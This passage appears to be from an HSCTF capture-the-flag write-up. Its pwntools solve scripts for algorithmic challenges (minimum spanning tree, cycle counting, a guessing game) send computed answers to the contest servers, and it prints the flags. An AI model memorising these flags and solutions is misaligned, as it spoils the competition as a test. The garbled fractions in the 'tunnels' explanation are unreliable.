            E.append((tmp_cost, tmp_target - 1, i))
    p = list(range(N))
    E.sort()
    ans = 0
    for c, v, w in E:
        if unite(v, w):
            ans += c
    io.sendlineafter(b"Answer: ", str(ans).encode())
print(io.recvall())

flag{eLjMiKe_Is_PrOuD_oF_yOu}

hacking

37 solves

We can consider the directed graph whose node is a hacker and edge is a target. The answer equals to the number of nodes on cycle. This can be checked by dfs or something.

solve.py
import sys
from pwn import remote
sys.setrecursionlimit = 10 ** 7

io = remote("hacking.hsctf.com", 1337)
io.recvuntil(b"You can run the solver with:\n")
ret = io.recvline().strip().decode()
print(ret)
sol = input("please!")
io.sendlineafter(b"Solution? ", sol.encode())

_ = io.recvline()
_ = io.recvline()
inputs = []
for _ in range(5):
    inputs.append(list(map(lambda x: int(x) - 1, io.recvline().strip().decode().split(","))))


def dfs(inp, i, path):
    global used
    if i in path:
        for v, n in path.items():
            if n < path[i]:
                used[v] = 0
            else:
                used[v] = 1
        return
    path[i] = len(path)
    next_i = inp[i]
    if used[next_i] in [0, 1]:
        for v, n in path.items():
            used[v] = 0
        used[i] = 0
    else:
        dfs(inp, next_i, path)


outputs = []
for inp in inputs:
    N = len(inp)
    used = [-1] * N
    i = 0
    while True:
        if i >= N:
            break
        if used[i] != -1:
            i += 1
            continue
        dfs(inp, i, {})
    outputs.append(sum(used))
ans = ", ".join(map(str, outputs))
io.sendline(ans)
io.interactive()

flag{cOnGrAtS_yOu_ArE_nOw_A_hAcKeR}

tunnels

45 solves

If we can try to guess more than eight, [2, 3, 4, 5, 6, 7, 7, 6, 5, 4, 3, 2] certainly wins. If we give up two patterns, (1) b40m1k3 first in 4 and move to 3, (2) b40m1k3 in 5 and move to 6 at 5 day, [2, 5, 6, 7, 7, 4, 3, 2] wins. These patterns happen 1/81/8 of the time (so the success rate is 7/87/8). This is a little bit small but my pray causes success.

solve.py
from pwn import remote, context

context.log_level = "DEBUG"

io = remote("tunnels.hsctf.com", 1337)
cands = list(map(str, [2, 5, 6, 7, 7, 4, 3, 2]))  # 

while True:
    io = remote("tunnels.hsctf.com", 1337)
    io.recvline()
    valid = True
    n_correct = 0
    for n in range(200):
        for i in range(8):
            io.sendlineafter(b"guess: ", cands[i].encode())
            ret = io.recvline().strip().decode()
            if ret == "correct":
                n_correct += 1
                break
        print(n_correct, n + 1)
        if n <= 50:
            if n_correct < n - 4:
                valid = False
                break
        elif n <= 100:
            if n_correct < n - 6:
                valid = False
                break
        if n_correct < n - 13:
            valid = False
            break
    if not valid:
        io.close()
        continue
    print(io.recvall())
    io.close()
    break

flag{b4om1k3_15_4_v3ry_1nt3r35t1ng_p3r50n_924972020}

misc

count-your-blessings-if-you-can

17 solves redacted since writeup for this chall is prohibited before the prize verificationis end.